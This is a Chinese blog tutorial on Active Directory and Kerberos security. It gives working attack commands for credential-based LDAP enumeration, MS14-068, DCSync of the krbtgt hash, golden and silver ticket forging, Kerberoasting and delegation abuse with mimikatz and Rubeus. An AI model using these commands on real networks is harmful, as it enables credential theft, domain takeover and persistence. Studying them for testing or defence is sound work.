前言
域方面的安全,回归到本质,大多情况下就是Kerberos协议的安全,只有深入掌握Kerberos,才可以站在不同的角度去进行TTP,抓住对方薄弱之处。
About Active Directory
Active Directory:是微软Windows Server中,负责网络游戏架构中大型网络环境的集中式目录管理Service(Directory Services),在Windows 2000 Server开始内置于Windows Server产品中,主要用于域网络中。
- 在AD里面,一切皆对象,比如:计算机,用户,用户组,相关策略等
- 有AD域Service,即Active Directory Domain Services
- 依赖不同的协议进行用户认证,资源查找,管理,访问控制等等
- 提供各种Service
Active Directory的实体结构
DNS
活动目录极度依赖DNS,因为DNS可以让AD表现出层次结构化的树状结构,同时也可以和开放的目录标准接轨,因此在搭建域时时,DNSService(或另有架设DNS Server)一定要存在于网络或该网域控制站中,不单单是资源查找需要DNS,客户端请求DC时同样需要它,通过SRV记录识别。
LDAP
Lightweight Directory Access Protocol:轻量级目录访问协议,是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。
有时我们拿到的server可能就是LDAPService器,里面可能有很多我们目标的信息,下面会详细介绍。
Kerberos
Kerberos是一种计算机网络认证协议,它允许某实体在非安全网络环境下通信,向另一个实体以一种安全的方式证明自己的身份。它也指由麻省理工实现此协议,并发布的一套免费软件。它的设计主要针对客户-Service器模型,并提供了一系列交互认证——用户和Service器都能验证对方的身份。Kerberos协议可以保护网络实体免受窃听和重复攻击。
Kerberos协议基于对称密码学,并需要一个值得信赖的第三方。Kerberos协议的扩展可以为认证的某些阶段提供公钥密码学支持。
NetBIOS
Network Basic Input/Output System,它提供了OSI模型中的会话层Service,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据,相当于一个API
MS-RPC
Microsoft RPC:远程调用,可以更加快速的构造出客户端/Service端模型,像Windows Server的域协议完全是基于MS-RPC,以及DNS管理工具和Microsoft Exchange Server。
NTLM认证
NTLM是NT LAN Manager的缩写,即NT LAN管理器,NTLM 是 Windows NT 早期版本的标准安全协议。
AD协议的应用
DNS
• dig
dig evilwing.me
• nslookup
nslookup evilwing.me
MS-RPC
- Samba
Samba,是种用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS(Server Message Block/Common Internet File System)网络协议做链接的自由软件。 - 强大的Impacket网络工具包
- smbserver.py
#### LDAP
- smbserver.py
- openLDAP
OpenLDAP 是 LDAP 协议的一个开源实现。LDAP Service器本质上是一个为只读访问而优化的非关系型数据库。它主要用做地址簿查询(如 email 客户端)或对各种Service访问做后台认证以及用户数据权限管控。(例如,访问 Samba 时,LDAP 可以起到域控制器的作用;或者 Linux 系统认证时代替/etc/passwd的作用。) - ldapsearch
Kerberos
- Kerberos由麻省理工学院创建,作为解决这些网络安全问题的解决方案。
通过DNS去发现AD
腾讯云文档相关介绍
SRV记录
SRV记录是Service器资源记录的缩写,记录Service器提供的Service,SRV记录的作用是说明一个Service器能够提供什么样的Service。
- _gc._tcp – 全局目录
- _ldap._tcp – ldap Service器
- _kerberos._tcp – KDC
- _kpasswd._tcp – Kerberos 密码变更Service
nmap查询:
nmap -Pn --script dns-srv-enum --script-args "dns-srv-enum.domain='pentestlab.com'"
tips:加一个DNS,为DC的IP,这样就可以在MAC本机上查询出来。
端口扫描:
发现53端口和389端口同时开启就有可能是DC。
定位域控的话,其他熟悉的方法有:
- net time /domain
- nslookup
- nltest /dclist:domainname
- and so on
MS-RPC
MSRPC通信过程
net user /domain
wireshark抓包分析
首先向DC请求SMB连接,然后请求$IPC共享
建立SMBR文件,bind SAMR。
最后执行用户列表请求
基于MS-RPC实现的Tools
个人觉得Kali下面,啊D最好用,不对,Impacket最好用。
- https://github.com/CoreSecurity
/impacket
工具方面我就不过多介绍,大家都知道怎么用,它是一把windows网络中瑞士军刀。
提权以后,下一步可能就会进行横向渗透
- DCOM
- Psexec
- WMIC
- Wmiexec
- Smbexec
- Powershell remoting
- AT
以上手法都是基于MS-RPC协议。
LDAP
- LDAP是AD中的轻量级的目录访问控制协议
- DC中一般会开放三个端口
- 389-LDAP
- 636-LDAPS
- LDAP全局目录
LDAP 数据的组织方式:
- CN:Common name
- DC:域的组成
- OU:组织单元
例如
通过ldap和我们在目标上收集的凭据我们可以进行ldap查询。
这里推荐使用ldapsearch。
使用方法:https://blog.51cto.com/koala003/1663662
查询所有的用户
ldapsearch -LLL -x -H ldap://pentestlab.com -D "wing@pentestlab.com" -w "小Wing最棒" -b dc=pentestlab,dc=com "(objectClass=user)" sAMAccountName userPrincipalName memberOf | tee domain_users.lst
域内的计算机
ldapsearch -LLL -x -H ldap://pentestlab.com -D "wing@pentestlab.com" -w "小Wing最棒" -b dc=pentestlab,dc=com "(objectClass=computer)"
想要可视化?
Ldap Admin Tool
连接的对象可以像我们前面使用ldapsearh那样进行过滤。
Windows下有ldapadministrator
LDAP的信息枚举可以作为横向渗透前的一个重要步骤。
Kerberos
Kerberos认证过程
记得上学期期末考试考到过这个,当时刚好看了倾旋老哥的文章,所以还是挂了。
Kerberos除了代表是网络授权协议之外,也代表麻省理工学院为这个协议开发的一套计算机软件。
Kerberos在古希腊神话中被叫做赛伯拉斯,是负责看守冥界入口的恶犬,即地狱犬,在现代的艺术品中,将它描绘成三个头的。
所以可以形象的表示客户端,KDC,Service端。
前置知识:
- AS(Authentication Server)= 认证Service器
- KDC(Key Distribution Center)= 密钥分发中心
- TGT(Ticket Granting Ticket)= 票据授权票据,票据的票据
- TGS(Ticket Granting Server)= 票据授权Service器
SS(Service Server)= 特定Service提供端
在域内,小Wing想要去访问另一台计算机小花,它需要经历:需要先拿到
入场券
,所以向KDC请求TGT,KDC的AS会根据由你的用户名密码生成的一个加密密钥产生一个随机值,这个密钥就是入场券。- 然后我把我的TGT给TGS,跟他说,给我一个可以访问Service的Ticket,TGS验证后,证明我没骗他,随即返回Service Ticket。
- 拿到的Service Ticket一般是有有效期的,过期后又要重新申请
- 然后拿着这个去访问Service,这里的Service有权限大小之分。
- 成功和小花建立连接
辛苦画的一张简陋版的图
然后我发现喵的维基百科有一张比我的好看的
我想在后面通过回顾古老的一个洞来较详细的介绍kerberos
然后看一下流量包,更直观一些。
dir \\Pentestlabwin7.pentestlab.com\C$
wireshark
过程如图
klist查看我们暂时拿到的缓存凭据
这是windows下的kerberos,其实linux下也同样支持。
apt-get install heimdal-clients
先安装客户端
配置KDC,以及SRV
/etc/krb5.conf
配置DNS
然后先请求TGT
这里建议配两个网卡,保证域的通信没问题。
kinit wing
klist
ubuntu的官方文档有指明没定义的情况下会将TGT换存在tmp目录
现在有了缓存,可以借助这个去做很多事情。
impacket:
在知道密码或hash的情况下可以使用smbclient.py去连接,今天看到n1nty师傅的文章将就尝试了一下。
想要使用kali本身的工具,需要将票据导入
export KRB5CCNAME=/tmp/krb5_xxx
一开始用kinit生成TGT好像有问题。
所以我最终使用getTGT来实现,最后导入。
通过rrclient这个远程rpc工具实现连接。
类似的还有smbclient
psexec.py:使用RemComSvc的PSEXEC类似功能
7KB师傅说你得弹个计算器,我觉得还是弹powershell比较直接。
再配合自动化的CNA脚本横向渗透。
impacket-wmiexec.py
像crackmapexec这样的工具,是基于hash认证的,但是在NTLM认证被关闭的条件下,可以尝试通过上述的Kerberos方法去执行CMD。
因为我们有目标密码,所以可以请求TGT,但是密码改了怎么办,怎么持久化?
后面的部分会继续讲解。
经典回顾-MS14-068
漏洞概述
回到一开始的Kerberos
SServer-Client:数据在Client和Server之间传送时,数据包肯定得加密,加密的key有一个先决条件就是时间要短,防止被截获破解,只能在Client和Server只中的一个中有效,将其称之为SessionKey(SServer-Client)。
Master Key:虽然DC很niupi,但是用户的密码还是希望只有用户自己知道,所以认证过程中用户的密码要经过hash加密,加密后的code称之为Master Key。
SKDC-Client:KDC和Client的Session Key(SKDC-Client)
KDC是作为神父级别的见证人,小Wing想要去访问小花的Server,需要向KDC申请一个SessionKey,但是SessionKey是经过小Wing和小花的密码分别加密,不容易被盗取。
- Wing这边发出的是KRB_AS_REQ请求,提供的是经过Wing的密码加密的一个TimeStamp,应该叫做Authenticator ,理解为一个时间戳加用户的一些信息以及TGS的servername,这个请求里密码和密钥都不会发给AS。
- KDC的AS用数据库查找Wing这个用户是否在我的数据库里面。在,那么用用户密码的副本去解密,成功之后,AS返回一个Authentication Service Response,即KRB_AS_REP,其中包含了:
- Session Key
- Client name & realm: Domain name\Client
- End time: TGT到期的时间,一般是8小时
- Wing这里收到响应后,用自己的Master Key对第一部分进行解密,获得SessionKey
- 下一步就是和TGS打交道了
- Wing向TGS(Ticket Granting Service)发送一个Ticket Granting Service Request(KRB_TGS_REQ),包含:
- TGT:TGT被KDC的Master Key进行加密。
- Authenticator:为了证明TGT的拥有者是否就是自己,它用TGT的办法方和自己的Session Key来进行加密,看是否吻合,TGS本身没有去保存SessionKey,所以就用自己的MaterKey去解密,从而获得Logon Session Key(SKDC-Client),再通过这个Logon Session Key(SKDC-Client)解密Authenticator进行验证。
- Client name & realm
- Server name & realm:就是小花
- REQ OK之后,向Wing返回Ticket Granting Service Response(KRB_TGS_REP),包含:
- Session Key:SServer-Client。
- Client name & realm:
- End time: Ticket的到期时间。
- Wing收到KRB_TGS_REP,使用KDC和Client的Session Key(SKDC-Client)去解密第一部分得到SessionKey,因为Session只能在单点使用哦。
- 有了SessionKey和Ticket,我们就可以直接去勾搭小花,呸,约小花。
那么Wing和小花之间的认证又是如何呢?
- Wing用Session Key(SServer-Client)加密过的Authenticator和Ticket作为Application Service Request(KRB_AP_REQ)发送给小花。
- 小花接收到KRB_AP_REQ之后,通过自己的Master Key解密Ticket,从而获得Session Key(SServer-Client)。再通过Session Key(SServer-Client)去解密Authenticator,验证对方的身份。假设验证成功,就让Wing进屋,否则直接拒之门外。
- 所以没有小车车(hash)和小房子(hash),小姐姐是会拒绝的。
故事的后续:
就算你有小车车,我怎么知道你是不是我认识的那个Wing呢。
这么说有点懵13.
A去访问B的时候,验证完成了,我知道你是A,但是你就能访问我的全部资源了嘛?
而且Kerberos协议也没有讲这个问题,所以微软爸爸加了PAC机制,即Privilege
Attribute Certificate,特权属性证书。
具体来说就是要确定域内用户的权限,这里解决的方法就是根据user的SID和group的SID来判断。
KDC可以告诉B,A的权限是有限制的,只可以访问某些资源,通过KRB_AS_REP来指明,里面有加上PAC的说明。
MS14-068这个洞原理比较长,长话短说:
- 主要是由于第一步的AS-REQ请求并没有对签名做指定要求,客户端用啥我用啥。
- KRB_TGS_REQ返回的信息当中又没有PAC,所以客户端当然可以伪造出PAC
- 然后神奇的KDC竟然允许这个PAC,而且使用指定的算法进行解密。
- TGS返回带有PAC的Ticket返回客户端这里,此时这张票据是具有高权限的。
- 更多细节可以通过抓包和源码去分析
漏洞复现
linux下:
mv TGT_wing@pentestlab.com.ccache /tmp/krb5cc_0
配合smbclient执行命令
windows下:
mimikatz.exe "kerberos::purge"
mimikatz.exe "kerberos::ptc TGT_wing@pentestlab.com.ccache " exit
Golden Ticket
Golden Ticket就是黄金票据,其实就是一个攻击者自己伪造的TGT,通过TGS对自己的Golden Ticket的信任,攻击者就可以去访问Service, I Am Omnipotent!
需要的条件:
- Domain SID
- Domain name
- 需要krbtgt用户的hash
- 用户名随意
Example
通过Mimikatz dump hash
lsadump::dcsync /user:krbtgt
生成Golden Ticket
导入内存:
黄金票据可以很好的隐藏自己,是一种持久化的方式。
n1nty的公众号昨天发了一篇文章,就是有关于黄金票据的。
title:内网安全运营:你真的锁定了你的帐号了吗?
为什么我将他锁定了他还能进行其他动作?
- Kerberos的认证过程前面也说清楚了,只认Ticket,而我们可以根据自己的密码去得到一张Server Ticket。
- 管理员也无法注销Ticket,只能让他过期,默认是20分钟。
- 对于TGT,20分钟后账户如果被锁定,KDC就不会给你Ticket
- 对于ST,我已经不需要KDC了,只需要拿着这个ST去访问Service即可。
- ST会在10小时过期
- 所以在安全排查的时候需要注意是不是已经被持久控住了。
Silver Tickets
Silver Tickets是银票,在介绍Golden Ticket时,末尾的彩蛋就是一个Silver Tickets----伪造的ST。银票只能访问指定Service,我不觉得这是一个缺点,反而觉得是一个优点,正如前文,根本不好排查,我没和KDC通信,日志那里查不到。
银票的生成也很简单,不需要krbtgt的密码,但需要目标Service账户的hash。
mimikatz "kerberos::golden /domain:pentestlab.com /sid:xx-xxx-xxx-xx /target:servername /Service:Service类型 /rc4:hash /user:wing /ptt" exit
Crack
SPN
SPN全称是ServicePrincipal Names,Service主体名称。
在域里面我们希望域内的Service经过kerberos验证。
spn让每一个Service与对应的Service账号相关联起来。
其次就是SPN扫描比较隐蔽,不用去连接每一个IP的端口来判断Service,而是通过ldap进行查询,这本身就是一个正常的操作,日志里面去分析比较头疼。
需要先手动注册
SPN扫描
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
阅读源码
如前所说,通过LDAP进行查询。
Crack TGS Tickets
SPN扫描完成以后,请求TGT
查看本地的TGT
导出使用tgsrepcrack离线破解
也可以用
GetUserSPNs.py -request -outputfile hash.txt -dc-ip 10.10.0.2 Pentestlab.com/wing
得到hash,使用hashcat破解。
Kerberos委派攻击
What is Delegation?
正常情况下我想要去访问IISService,与此同时,可能还需要IISService去请求数据库Service,查询相关信息,但是IISService这里它不清楚Wing这个用户有没有权限去访问SqlServer,这时候就需要向DC去验证。
Wing先去访问IIS server,IISserver去跟KDC申请Ticket,KDC这时候检查IIS Server是否有委派属性,如果存在,那么就返回给Wing这个用户的TGT,IIS Server收到后,跟TGS
申请ST,IIS Server就可以拿ST去访问对应的Service。
非约束委派(Unconstraineddelegation)
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a
图比较直观,用户从KDC拿到对应的TGT之后,发送给Service1,请求了两次TGT,Service1请求了一次ST,也就是1-6步。
然后Service1用用户的TGT2去请求ST2,也就是对应的Service2的ST,。
Service1可以一直重复的去访问其他Service。
这个过程称为 非约束委派,Unconstraineddelegation。
非约束委派安全测试
通过PowerView查询域中配置非约束委派的主机和用户:
Get-NetComputer -Unconstrained
Get-NetUser -Unconstrained
然后在MSSQL这台机器上去导出通信时产生的TGT,会存在内存里。
privilege::debug
sekurlsa::tickets /export
这个就是域控的TGT。
直接进行ptt攻击
GetDC
约束委派(Constrained delegation)
微软为了增强安全性,防止不安全的委派发生,限制Service1代表Wing去访问Service。
并且加入了S4U2Self和S4U2Proxy协议扩展。
- S4U2Self:Service for User to Self
S4U2Proxy:Service forUser to Proxy
用户向Service1发出一个请求,用户已经经过了身份验证但Service1拿不到用户的TGT。
- 文档说的是在这个步骤之前,Service1就向KDC申请到了拿到了TGT,并通过 S4U2self 扩展请求ST。
- KDC返回ST,这一步Service1就代表用户拿到TGS和ST,虽然S4U2self向Service1提供有关用户的信息,但此扩展不允许Service1代表用户请求其他Service。这就是S4U2proxy的作用。
- 响应给用户
- 用户再次请求,用户向Service1发出请求。Service1需要以用户身份访问Service2上的资源。但是,Service1没有来自用户的转发TGT以通过转发的TGT执行委派,如图中所述,需要指定具有转发的TGT的Kerberos委派。具有这两个前提条件,才可以进行此步骤。首先,Service1已经通过KDC验证并具有有效的TGT。其次,Service1具有从用户到Service1的可转发ST。该可转发ST可能是通过KRB_AP_REQ消息获得的,如[RFC4120]第3.2节或S4U2self请求中规定的。
- Service1代表指定用户向Service2请求Service票证。用户由Service1的Service票证中的客户端名称和客户端域专属标识。要返回的票证中的授权数据也将从Service票证中复制。
- 如果请求中有特权属性证书(PAC),则KDC通过检查PAC结构的签名数据来验证PAC,参阅[MS-PAC]第2.8节。如果PAC有效或不存在,KDC将返回Service2的ST,但存储在ST的cname和crealm字段中的客户端专属标识是用户的,而不是Service1的。
- Service1使用ST向Service2发出请求。Service2将此请求视为来自用户,并假定用户已经由KDC进行身份验证。
- Service2响应请求。
- Service1响应用户对消息5的请求。
简单来说呢:
- S4U2proxy扩展的作用是不允许Service1代表用户请求其他Service
- S4U2Self扩展的作用是检查用户的合法性
约束委派安全测试
用PowerView查询域内开启约束委派的用户
Get-DomainUser –TrustedToAuth
- 使用Rebeus拿到TGT:Rebeus是kekeo的后续版本,羡慕一次编译通过的师傅。
Rubeus.exe asktgt /user:mssql /password:Pentestlab@1314
或者直接一步请求
C:\Users\flowing\Desktop\Wing>Rubeus.exe s4u /impersonateuser:redteam /user:
F046 /domain:pentestlab.com /msdsspn:cifs/mssql.pentestlab.com /ptt
ptt的意思是直接导入内存,不需要管理员权限。
C:\Users\flowing\Desktop\Wing\>Rubeus.exe s4u /user:wing /rc4:xxxxxxxx /impersonateuser:administrator/msdsspn:cifs/mssql.pentestlab.com /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Action: Ask TGT
...
...
...
[*] Action: Import Ticket
[+] Ticket successfully imported!
这里的伪造的用户名必须是域内已经有的,比如adminstrator。
所以这里本机的这个用户是伪造成其他用户去从获取TGS。
验证:
实际场景当中,可以结合ntlmrelay去进行。
其他像哈希传递的技术使用cobaltstrike批量即可。
结语
关于Kerberos的技术,还有很多有趣的技巧,建议关注域安全专家harmj0y。
参考来源
https://xz.aliyun.com/t/2931#toc-2
https://www.anquanke.com/post/id/92484#h2-0
https://mp.weixin.qq.com/s?timestamp=1554396291&src=3&ver=1&signature=QJM6fShq296Yt2GmGNTdSeU*kJNrPEmgb0ce9ap3vCD9NC4W-GL2Fx3IxdiC689-CvAADbGrbL1f7deYwEDLQKxvi8WFUhA7OsPAI52IFV7yi*ld*WABk2U*shXEbZu4nJd-MpmuV9GrheIf9WHdKtrPYZm1VJ5iWy6aAyom*Yc=
https://github.com/nidem/kerberoast
https://www.petri.com/understanding-kerberos-delegation-in-windows-server-active-directory
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962
https://blog.csdn.net/wulantian/article/details/42418231
https://github.com/nidem/kerberoast
https://segmentfault.com/a/1190000014683418
https://www.extrahop.com/resources/protocols/msrpc/
https://docs.microsoft.com/en-us/windows/desktop/com/microsoft-rpc
https://docs.microsoft.com/en-us/windows/desktop/rpc/how-rpc-works
https://www.cnblogs.com/cnjavahome/p/9029665.htmllanguage```language
https://medium.com/@robert.broeckelmann/kerberos-wireshark-captures-a-windows-login-example-151fabf3375a
https://help.ubuntu.com/lts/serverguide/kerberos.html.en
https://imaidata.github.io/blog/kerberos_client/
https://www.chbeta.com/2018/06/17/212.html